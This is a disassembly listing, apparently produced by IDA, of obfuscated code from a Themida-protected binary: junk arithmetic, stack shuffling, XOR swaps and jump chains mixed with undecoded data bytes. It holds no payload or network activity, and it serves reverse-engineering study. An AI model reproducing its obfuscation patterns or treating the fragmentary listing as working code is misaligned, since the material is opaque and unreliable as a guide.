; ---------------------------------------------------------------------------


loc_550992:				; CODE XREF: Themida_:005523EBj
		push	ecx
		mov	ecx, 3CD67074h
		push	eax
		mov	eax, 3E7074DEh
		xor	ecx, eax
		pop	eax
		shl	ecx, 3
		neg	ecx
		inc	ecx
		or	ecx, 4BCC1A9Eh
		sub	ecx, 0CAB5B6C2h
		add	edi, 7F8826F3h
		sub	edi, ecx
		sub	edi, 7F8826F3h
		pop	ecx
		push	edi
		xor	dword ptr [esp], 415F6350h
		jmp	loc_556039
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5C241487h, 3580E9h, 6AEB8100h, 8176833Ah, 0BB66FEC3h
		dd 5AEB8175h, 124DE2Dh,	5AC381C3h, 5524DE2Dh, 0EA6455BDh
		dd 68DD8769h, 0
		dd 5B241C29h, 0CD81DD87h, 7235001h, 5702E5C1h, 9465E9h
		db 0
byte_550A15	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550540o
aPrithve	db '$PR‰âh¢e',0
		align 2
		dw 3489h
		dd 69B9BE24h, 0F681622Dh, 0C5075h, 0BD554E46h, 7CD124Eh
		dd 4D08EDC1h, 0A52DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550A41:				; CODE XREF: Themida_:005581EFj
		xor	ecx, 78C4683Bh
		push	0FE2h
		mov	[esp], ecx
		jmp	loc_552595
; ---------------------------------------------------------------------------


loc_550A54:				; CODE XREF: Themida_:0055369Dj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebp
		jmp	loc_557C16
; ---------------------------------------------------------------------------
		dd 0BCEF181h, 20E951E3h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_550A7B:				; CODE XREF: Themida_:0055BF07j
		dec	ebx
		xor	ebx, 73FB77D3h
		sub	edx, 50A1E0Fh
		jmp	loc_553CB7
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 3
		dd 0FFFFDBE9h, 16E953FFh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550A9B:				; CODE XREF: Themida_:0055A20Bj
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebp, 38417682h
		jmp	loc_5519C4
; ---------------------------------------------------------------------------
aZ4S?		db '‡4$éÚ?',0
		dd 0F3815F00h, 15AE1C8Ah, 0D0E9D831h, 3100001Bh, 3C33243Ch
		dd 24248B24h, 8904EC83h, 0E189240Ch, 4C181h, 0EC810000h
		dd 4, 0B8240489h, 4, 5928E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550AEE:				; CODE XREF: Themida_:00550F61j
		and	ecx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_558BD8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 4EC835Ch, 54241489h,	8124148Bh, 4C4h, 4C28100h, 68000000h
		dd 1037h, 0B65AE9h, 4EC8300h, 0A406E9h,	77C38100h, 8B024C70h
		dd 0C481243Ch, 4, 3C69EB81h, 0AFE97FD0h, 880000A7h, 7CE959CFh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B5B:				; CODE XREF: Themida_:00559BDDj
		push	esp
		pop	eax
		jmp	loc_5516EB
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 3B8E5D12h, 4F42E956h, 0C4830000h, 74FF5304h,	8F5B0424h
		dd 515C2404h, 0BD55E189h, 55495C6Eh, 5C6AF581h,	0E9015549h
		dd 4E9815Dh, 87000000h,	895C240Ch, 0DE92434h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B9F:				; CODE XREF: Themida_:00550F3Fj
		push	49A5h
		mov	[esp], esi
		mov	esi, 35EB47D5h
		shl	esi, 6
		or	esi, 25643EE2h
		push	eax
		jmp	loc_553F43
; ---------------------------------------------------------------------------
		db 1
		dd 6B242DE8h, 565D7E6Bh, 0F15DA5BEh, 42CE8135h,	0C12F0F2Bh
		dd 0C68104E6h, 15C25F5Dh, 0E95EF001h, 4923h, 0E904C183h
		dd 0D40h
; ---------------------------------------------------------------------------


loc_550BE8:				; CODE XREF: Themida_:00559F7Dj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55830F
; ---------------------------------------------------------------------------


loc_550BF3:				; CODE XREF: Themida_:005527D6j
		add	ebp, eax
		jmp	loc_552D8E
; ---------------------------------------------------------------------------


loc_550BFA:				; CODE XREF: Themida_:0055153Dj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_55C0AB
; ---------------------------------------------------------------------------
byte_550C07	db 83h			; DATA XREF: Themida_:00550740o
		dd 82E904ECh, 8300000Fh, 0EE8104C4h, 4,	2474FF56h, 48F5E04h
		dd 3CD2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550C26:				; CODE XREF: Themida_:005512D1j
		add	ebx, 80028009h
		sub	ebp, 268E5F9Ah
		add	ebp, ebx
		jmp	loc_55BA57
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0EAh
		dd 28F6C780h, 0CE805BFEh, 0FFC68084h, 9DBEE9h, 4AEA8100h
		dd 0E9709507h, 0A94Eh
; ---------------------------------------------------------------------------


loc_550C58:				; CODE XREF: Themida_:00558359j
		push	2B946065h
		mov	ebx, [esp]
		jmp	loc_556EAB
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 81000000h, 2810B2C3h, 412AE973h, 4050000h, 5000000h
		dd 4, 8B240487h, 4DE92424h, 89000039h, 95E92404h, 0BA00002Ch
		dd 7B0764E0h, 5322C281h, 0E2C178C6h, 0D2F74204h, 18FCE281h
		dd 0C2816178h, 0BEDFE724h, 148BD689h, 4C48324h,	5DF0E9h
		dd 24248B00h, 0E9240C89h, 1976h
; ---------------------------------------------------------------------------


loc_550CC8:				; CODE XREF: Themida_:00553053j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, 54D53996h
		add	eax, edi
		sub	eax, 54D53996h
		pop	edi
		jmp	loc_553104
; ---------------------------------------------------------------------------
		db 66h
		dd 2E3FE981h, 0BD665566h, 1E976E2h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550CF3:				; CODE XREF: Themida_:00553226j
		shr	eax, 0Ah
		xor	eax, ecx
		push	ebp
		jmp	loc_55C2EA
; ---------------------------------------------------------------------------
		dw 0F129h
aSp		db '^ép>',0
		align 2
		dw 0EA31h
		dd 0D7F7FD87h, 0EA87FD87h, 325EC281h, 0D0E9423Fh, 0FF000060h
		dd 0BFE9240Ch, 81000090h, 4C3h,	420BE900h, 248B0000h, 0BB0F6624h
		dd 0E99C2404h, 0FFFFFA57h, 0F92DD801h, 51622F3Dh, 0A057E9h
		dd 0C2815C00h, 4, 167FE9h
		db 0
; ---------------------------------------------------------------------------


loc_550D55:				; CODE XREF: Themida_:0055BC51j
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_557C3D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1E9242Ch
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550D67:				; CODE XREF: Themida_:00551596j
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		xchg	edx, edi
		not	edx
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		jmp	loc_553083
; ---------------------------------------------------------------------------


loc_550D94:				; CODE XREF: Themida_:00550925j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5577A9
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F8EF81DFh, 1FDFFFEh, 0E9505FFBh, 1600h
dword_550DB4	dd 240C8B66h, 0B818E9h,	0FFBF5700h, 1FFFFFFh, 0A55AE9F9h
					; DATA XREF: Themida_:00550614o
		db 2 dup(0)
word_550DCA	dw 8B66h		; DATA XREF: Themida_:0055063Co
		dd 97682404h, 89000052h, 0E954241Ch, 0F7h
; ---------------------------------------------------------------------------


loc_550DDC:				; CODE XREF: Themida_:00558FFEj
		add	cl, 0D8h
		jmp	loc_5527DB
; ---------------------------------------------------------------------------


loc_550DE4:				; CODE XREF: Themida_:00555B36j
		sub	ebp, 2FF51773h
		add	ebp, edx
		add	ebp, 2FF51773h
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553007
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
aISM		db '‰<$éÇŒ',0
		align 4
		dd 0B2C3D2B8h, 0BCD1E915h, 2B80000h, 81000000h,	0AC5C7CEEh
		dd 0B8BE97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E26:				; CODE XREF: Themida_:0055A574j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_552874
; ---------------------------------------------------------------------------
byte_550E31	db 0ACh, 66h, 53h	; DATA XREF: Themida_:00550564o
		dd 50E996B3h, 8900001Ch, 4832424h, 815D0424h, 4C5h, 6DB85000h
		dd 0E97CEE1Eh, 0B9C2h, 0F75DEB01h, 5EBC1DBh, 7E9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_550E61:				; CODE XREF: Themida_:00559853j
		mov	ecx, 40000h
		and	eax, ecx
		jmp	loc_557561
; ---------------------------------------------------------------------------
aFsaq		db 'Fé€q',0
		dw 8300h
		dd 0A3E904EFh, 0B0000076h, 0E9C208F9h, 0ECDh, 2B05BE66h
		dd 5676E9h, 81E38900h, 4C3h, 4EC8100h, 89000000h, 0E957240Ch
		dd 15C0h
; ---------------------------------------------------------------------------


loc_550EA4:				; CODE XREF: Themida_:0055CB1Dj
		pop	ebp
		jmp	loc_556B00
; ---------------------------------------------------------------------------


loc_550EAA:				; CODE XREF: Themida_:00553F48j
		dec	eax
		shr	eax, 3
		add	eax, 2872078Ah
		shr	eax, 3
		inc	eax
		jmp	loc_550959
; ---------------------------------------------------------------------------
dword_550EBC	dd 240C8B66h, 0A676E9h	; DATA XREF: Themida_:005505A4o
		db 0
; ---------------------------------------------------------------------------


loc_550EC5:				; CODE XREF: Themida_:00551B4Ej
		pop	esp
		push	46EEh
		mov	[esp], edi
		jmp	loc_5586E3
; ---------------------------------------------------------------------------
		db 0FFh
a4Siv		db '4$[é‰V',0
		align 4
		dd 3C8BFB29h, 0E08E924h, 4D340000h, 2C58C328h, 4D8002Ch
		dd 0C9E95B2Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550EF7:				; CODE XREF: Themida_:00559058j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_556985
; ---------------------------------------------------------------------------
		dw 0F9BDh
		dd 812AD504h, 0FC0980C5h, 0FC58155h, 0E9E2A5F3h, 9F4Ch
		dd 355DE809h, 39201580h, 5158C129h, 0F7240C87h,	240C87D1h
		dd 0FE5E959h, 248B0000h, 5081E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F3A:				; CODE XREF: Themida_:0055C186j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_550B9F
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 0E9042474h, 0F54h
; ---------------------------------------------------------------------------


loc_550F50:				; CODE XREF: Themida_:00551F55j
		add	ecx, eax
		pop	eax
		pop	edx
		push	2260h
		mov	[esp], esi
		mov	esi, 1
		jmp	loc_550AEE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 4C48104h, 57000000h, 0C7815F54h,	4, 1486E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F82:				; CODE XREF: Themida_:00551392j
		pop	ecx
		push	eax
		jmp	loc_55C062
; ---------------------------------------------------------------------------
byte_550F89	db 51h,	89h, 0E1h	; DATA XREF: Themida_:00550624o
		dd 4C181h, 2DE90000h, 8B000020h, 89662424h, 50662414h
		dd 0F7EDE99Ch, 1489FFFFh, 4EC8124h, 89000000h, 0BB532404h
		dd 55DA2F6Ch, 1C8BD889h, 4C48324h, 25D095BAh, 5BEA81AAh
		dd 10C891Bh, 5BC281C2h,	580C891Bh, 1DF0E9h, 34815000h
		dd 0B2CBB24h, 0F2815A29h, 290B2CBBh, 695EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550FEE:				; CODE XREF: Themida_:005572FEj
		add	esp, 4
		or	eax, eax
		jnz	loc_5548E1
		push	1
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], eax
		push	123D7675h
		pop	eax
		and	eax, 6CF32796h
		shr	eax, 7
		jmp	loc_558F4F
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 3EBC103h, 25BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551031:				; CODE XREF: Themida_:00557892j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_554129
; ---------------------------------------------------------------------------
		dd 0D568E289h, 89000002h, 0F5B82404h, 0E971FB17h, 0A316h
dword_551050	dd 24048B66h, 510068h, 241C8900h, 2434FF54h, 145E9h, 7EBC000h
					; DATA XREF: Themida_:00550680o
		dd 0C3FED3F6h, 1A83E9h
		db 0
; ---------------------------------------------------------------------------


loc_551071:				; CODE XREF: Themida_:0055B8E9j
		push	ebx
		push	69E5h
		mov	[esp], ebx
		push	0AAC3DC0h
		jmp	loc_55C1D6
; ---------------------------------------------------------------------------


loc_551084:				; CODE XREF: Themida_:005554FEj
		sub	ebp, 0EB01B89h
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, edx
		push	edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		mov	[edi+20h], eax
		pop	eax
		jmp	loc_556B95
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5D04h, 24248B24h,	0F66E1F6h, 6866CCB6h, 89662D28h
		dd 46E9240Ch, 8100002Bh, 461678EFh, 11C7813Ch, 297A430Eh
		dd 11EF81EFh, 817A430Eh, 461678C7h, 68FD5D3Ch, 1BFAh, 0E9241489h
		dd 6E38h
; ---------------------------------------------------------------------------


loc_5510FC:				; CODE XREF: Themida_:00559602j
		add	edx, ebp
		jmp	loc_5553C5
; ---------------------------------------------------------------------------


loc_551103:				; CODE XREF: Themida_:0055AC71j
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_557A6A
; ---------------------------------------------------------------------------
word_551112	dw 8B66h		; DATA XREF: Themida_:0055072Co
		dd 0C3682404h, 89000017h, 0E789243Ch, 660B951h,	0E9817B94h
		dd 253A060Ah, 3F52C181h, 0E1C10AF0h, 2F18106h, 81314F04h
		dd 0C0EE06F1h, 0E9CF0163h, 26F9h, 0B216E953h, 80B90000h
		dd 0C15D370Ch, 0F18108E1h, 38D2B026h, 788CE951h, 1C870000h
		dd 1C895C24h, 0FD1FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55116E:				; CODE XREF: Themida_:005569EBj
		mov	edi, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_555034
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 917FE9h, 4C48300h, 3C8BF831h, 0E7895724h, 4C781h, 0ECE90000h
		dd 0F7000060h, 47E981D1h, 29E6F4FAh, 16EE9CFh, 685B0000h
		dd 6FBEh, 5686E9h, 4EC8100h, 0E9000000h, 926Ah
; ---------------------------------------------------------------------------


loc_5511C0:				; CODE XREF: Themida_:0055C1BBj
		pop	ebp
		xor	esi, 18EC5C70h
		shr	esi, 6
		shl	esi, 2
		jmp	loc_557D2A
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0B1FDE924h, 2C8B0000h, 4C48324h, 3A6AC381h, 1E97683h
		dd 31000007h, 0E9815AD1h, 5A3E7395h, 233368h, 240C8900h
		dd 592414F7h, 5950BE56h, 0C6811858h, 650EFCC2h,	815EF101h
		dd 70274CC1h, 83BB53A9h, 814CD135h, 8B6DBECBh, 3E3C12Fh
		dd 0CBEEF381h, 0D8295A25h, 4F8F055Bh, 0C8015855h, 851AE9h
		dd 2434FF00h, 4C4815Ah,	28000000h, 6F7568D8h, 0C890000h
		dd 8FF8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551252:				; CODE XREF: Themida_:00553582j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_556CDF
; ---------------------------------------------------------------------------
		dd 0EC83E689h, 7C11E904h, 0E95D0000h, 3E66h, 89243489h
		dd 4C681E6h, 0E9000000h, 607Ch,	0C106E3C1h, 0EB8103EBh
		dd 9B90B1A8h, 86BBE56h,	0F22945F5h, 81DA295Eh, 0F5086BC2h
		dd 0F523E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5512AE:				; CODE XREF: Themida_:0055B2A8j
		push	ecx
		mov	ecx, 202644D3h
		sub	ecx, 39764B30h
		add	ecx, 57F5824Eh
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4BBD2412h
		or	ebx, ebp
		pop	ebp
		jmp	loc_550C26
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3799E9h, 0F7E1D100h, 0F2BA52D9h, 8123F569h, 93558ACAh
		dd 5CEA810Eh, 29D74B58h, 0CA015AD1h, 964CE959h
		db 2 dup(0)
word_551302	dw 0F766h		; DATA XREF: Themida_:005504F8o
		dd 0E99C241Ch, 0BF9h, 0E60C30BBh, 0E9DBF712h, 0B3E2h, 243C8759h
		dd 0E924248Bh, 8384h, 7CE9DE01h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55132B:				; CODE XREF: Themida_:005520E9j
		xchg	ebx, [esp]
		jmp	loc_5599FC
; ---------------------------------------------------------------------------
		db 86h
		dd 0F601245Ch, 245C86D3h, 48B6601h, 2C48324h, 0A6E9E386h
		dd 50000092h, 0C7882EB0h, 66FA0858h, 0B551665Bh, 66EA2097h
		dd 83240C8Bh, 0EAD002C4h, 2B4C68h, 243C8900h, 0C781E789h
		dd 4, 9E35E9h
		db 0
byte_551379	db 8Bh,	4, 24h		; DATA XREF: Themida_:005506B4o
		dd 0E904EC83h, 5B15h, 0F9E9595Eh
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55138B:				; CODE XREF: Themida_:00556F2Aj
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_550F82
; ---------------------------------------------------------------------------
		db 0BEh
		dd 1CE288FDh, 7149E9h, 5DE90100h, 0E9240C33h, 7DD9h
; ---------------------------------------------------------------------------


loc_5513AC:				; CODE XREF: Themida_:00552FD2j
		inc	dh
		and	dh, 67h
		inc	dh
		jmp	loc_55C317
; ---------------------------------------------------------------------------
		dd 0E800A5B5h, 2434FF59h, 5E54565Bh, 4C681h, 0C6830000h
		dd 24348704h, 4A9EE9h
		db 0
byte_5513D5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005506F8o
		dd 0A7EEE9h, 0FFC38000h, 8005E3C0h, 0C280ABC3h,	80DA28B4h
		dd 0DBE9B4EAh, 400005Fh, 241C8B4Fh, 4C481h, 61680000h
		dd 89000032h, 0DAB5240Ch, 6859E800h, 72B9h, 0B6241489h
		dd 3255E96Bh, 5A5B0000h, 0E9EEB753h, 3A70h, 1305EB81h
		dd 15D70E9h, 241C8BD9h,	4C481h,	0BB530000h, 2, 335BD901h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 9C240CFFh, 0FFF33EE9h
		dd 0E9F329FFh, 5ABh
dword_55145C	dd 8904EC83h, 68242Ch, 8B000000h, 0ABE9242Ch ; DATA XREF: Themida_:005506D0o
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55146F:				; CODE XREF: Themida_:0055610Dj
		add	eax, 4D1D1FF1h
		push	esi
		mov	esi, 0D01733F5h
		xor	eax, esi
		jmp	loc_55244F
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 80h
		dd 0E32889F4h, 62D7E9h,	0C7835D00h, 7DB850FFh, 81C87DE0h
		dd 6E5A14C7h, 0F3EF8133h, 0E97D073Ah, 0AF7Dh
; ---------------------------------------------------------------------------


loc_5514A8:				; CODE XREF: Themida_:00553A47j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		xor	edx, edx
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55A78E
; ---------------------------------------------------------------------------
aHP		db ')Çh$P',0
		align 2
		dw 3489h
		dd 441ABE24h, 3FE94576h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5514D3:				; CODE XREF: Themida_:00557947j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	11D2478Ch
		push	dword ptr [esp]
		jmp	loc_551EE5
; ---------------------------------------------------------------------------


loc_5514E8:				; CODE XREF: Themida_:00557060j
		add	dword ptr [esp], 39E56744h
		jmp	loc_55A7E1
; ---------------------------------------------------------------------------
		dd 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h,	24895C24h
		dd 24048324h, 240C8B04h, 4C481h, 0E9570000h, 2963h
; ---------------------------------------------------------------------------


loc_551520:				; CODE XREF: Themida_:00553524j
		pop	eax
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		jmp	loc_5556C2
; ---------------------------------------------------------------------------
aRsc6		db 'RéC6',0
		align 4


loc_55153C:				; CODE XREF: Themida_:00555B1Fj
		pop	esp
		jmp	loc_550BFA
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0E875FF0Fh, 1FE9F721h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55154F:				; CODE XREF: Themida_:005548B2j
		mov	al, 32h
		and	al, 34h
		push	dx
		mov	dl, 0Dh
		jmp	loc_5576D3
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 7EFC0DDh, 0FE2FEF80h, 0B05066C7h, 0E9C708C1h
		dd 9BD9h
; ---------------------------------------------------------------------------


loc_551574:				; CODE XREF: Themida_:0055C9C8j
		add	esp, 4


loc_55157A:				; CODE XREF: Themida_:00557687j
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 3AB704E6h
		jmp	loc_555050
; ---------------------------------------------------------------------------


loc_55158D:				; CODE XREF: Themida_:0055964Fj
		add	ebx, edi
		pop	edi
		sub	ebx, 29D42804h
		jmp	loc_550D67
; ---------------------------------------------------------------------------
		db 0F6h
aSnl		db 'Ûénl',0
		align 2


loc_5515A2:				; CODE XREF: Themida_:005552C7j
		xor	[esp], esi
		jmp	loc_557C7E
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 4C58159h, 87000000h,	685C242Ch, 4A12h, 0E9241C89h, 27CBh
; ---------------------------------------------------------------------------


loc_5515C4:				; CODE XREF: Themida_:0055205Ej
		xor	cl, 3
		shl	cl, 3
		jmp	loc_5555E8
; ---------------------------------------------------------------------------
		db 89h
		dd 8B54242Ch, 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 0C5815C24h, 4, 0FFF810E9h, 242C89FFh, 68535D54h, 16AD17F0h
		dd 0F4F3815Bh, 8116AD17h, 0DC4CF0EDh, 69FCE96Ah, 0C2810000h
		dd 4, 497BBD55h, 0ECE9376Dh, 8900004Dh,	0C389241Ch, 4EC8351h
		dd 89241489h, 0E9D189DAh, 97D9h, 0A2E9D301h, 1000099h
		dd 0A2C381D3h, 5A5F9146h, 0E9241C87h, 1E0Eh
; ---------------------------------------------------------------------------


loc_55164C:				; CODE XREF: Themida_:0055C0BDj
		sub	ecx, 0F9758908h
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		add	eax, 71C47CBAh
		pop	ecx
		jmp	loc_55867B
; ---------------------------------------------------------------------------
word_551662	dw 8B66h		; DATA XREF: Themida_:00550584o
		dd 9EE9240Ch, 5A00000Bh, 4BB53h, 0DF010000h, 81241C8Bh
		dd 4C4h, 243C8700h, 2404315Ch, 0F109E99Ch
		db 2 dup(0FFh)
word_55168A	dw 8B66h		; DATA XREF: Themida_:005505B8o
		dd 5456240Ch, 4C6815Eh,	83000000h, 348704EEh, 34895C24h
		dd 57E68924h, 468h, 243C8B00h, 4C481h, 0FE010000h, 81243C8Bh
		dd 4C4h, 2BA5200h, 1000000h, 34335AD6h,	24343124h, 0E9243433h
		dd 1DF4h
; ---------------------------------------------------------------------------


loc_5516D4:				; CODE XREF: Themida_:005596CDj
		inc	ebp
		xor	ebp, 7FB47E4Ch
		sub	ebp, 83BAF4CBh
		jmp	loc_552DF6
; ---------------------------------------------------------------------------
		dw 0A8E9h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5516EB:				; CODE XREF: Themida_:00550B5Dj
		add	eax, 4
		push	ebx
		mov	ebx, 38C67B3Ch
		jmp	loc_5545B7
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2DEB81DBh, 8166A10Ch, 0A31451C3h, 0E9DD89AAh, 769Dh
		dd 0A15A71B9h, 0FFC1815Dh, 0E9FFFFFFh, 3D9Ch, 515AD501h
		dd 71F65B9h, 2F18113h, 812E8201h, 251222E9h, 8E9C14Dh
		dd 2B42E981h, 0F1810919h, 0F7D734CEh, 6859CD01h, 6D83h
		dd 0FF242C89h, 5D042474h, 8B24048Fh, 0C6E92424h, 3300001Ch
		dd 34312434h, 5108E924h, 0BB530000h, 1D4F2EE2h,	0C0E9D3F7h
		dd 0B9000076h, 4A93010Eh, 148BD131h, 4C48124h, 0E9000000h
		dd 667h
; ---------------------------------------------------------------------------


loc_55178C:				; CODE XREF: Themida_:00552809j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 80000h
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5528E3
; ---------------------------------------------------------------------------
		dd 0B951565Eh, 29EE0812h, 4244C31h, 98B5E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517BA:				; CODE XREF: Themida_:005570AFj
		push	edx
		mov	edx, 658E1A12h
		and	edx, 525F26D8h
		neg	edx
		sub	edx, 0A5FC9F83h
		xor	eax, edx
		jmp	loc_55C616
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B6h
aS?0		db 'Èé?0',0
		align 2


loc_5517DE:				; CODE XREF: Themida_:00558DA8j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55C94F
; ---------------------------------------------------------------------------


loc_5517E9:				; CODE XREF: Themida_:0055AA5Bj
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 12F21734h
		sub	ebx, 503F77E8h
		add	ebx, edx
		jmp	loc_55B434
; ---------------------------------------------------------------------------
byte_5517FF	db 0FFh			; DATA XREF: Themida_:005505D0o
a4Snd		db '4$éN„',0
		db 0
; ---------------------------------------------------------------------------


loc_551807:				; CODE XREF: Themida_:00556D6Ej
		jmp	loc_550793
; ---------------------------------------------------------------------------
		dd 0D35CC181h, 0ED059878h, 14F3446h, 0B95156C8h, 19B93697h
		dd 27BDE9h, 4EB8100h, 87000000h, 895C241Ch, 82E92434h
		dd 0FF000023h, 0E95B2434h, 0CD6h
; ---------------------------------------------------------------------------


loc_551840:				; CODE XREF: Themida_:005597C6j
		pop	ebp
		sub	[edi+24h], ecx
		pop	ecx


loc_551845:				; CODE XREF: Themida_:00556441j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_553EA4
; ---------------------------------------------------------------------------


loc_551856:				; CODE XREF: Themida_:005556D6j
		mov	eax, 21F566B6h
		jmp	loc_55477C
; ---------------------------------------------------------------------------
		dd 59CE0158h, 4C681h, 34870000h, 24248B24h, 0AB3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_551875:				; CODE XREF: Themida_:00557C98j
		push	cx
		push	eax
		mov	al, 0D3h
		mov	ch, al
		pop	eax
		jmp	loc_55BFF1
; ---------------------------------------------------------------------------
		dw 8166h
		dd 66F9EBC1h, 0E959CB29h, 7F74h, 5056DDF7h, 64AEE9h, 0B7535B00h
		dd 5BF83005h, 0A984E9h
		db 0
; ---------------------------------------------------------------------------


loc_5518A5:				; CODE XREF: Themida_:00556B41j
		pop	eax
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5552C3
; ---------------------------------------------------------------------------
		dd 0BA241489h, 6F926646h, 5925EA81h, 0C0687F08h, 8900002Fh
		dd 71B9240Ch, 810F1767h, 14FE2BE9h, 6E9C1EBh, 0E904E9C1h
		dd 0FFFFF4D1h, 0B60F66h, 42A06866h, 24048966h, 0FFEE96E9h
		dd 81E289FFh, 4C2h, 4C28300h, 5C241487h, 1436EF81h, 0C7010C26h
		dd 1436C781h, 48B0C26h,	4C48324h, 0E9C0B60Fh, 14ACh, 31240C33h
		dd 0C33240Ch, 24248B24h, 5C24048Fh, 4FF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55193D:				; CODE XREF: Themida_:00558CF7j
		add	eax, [ecx]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
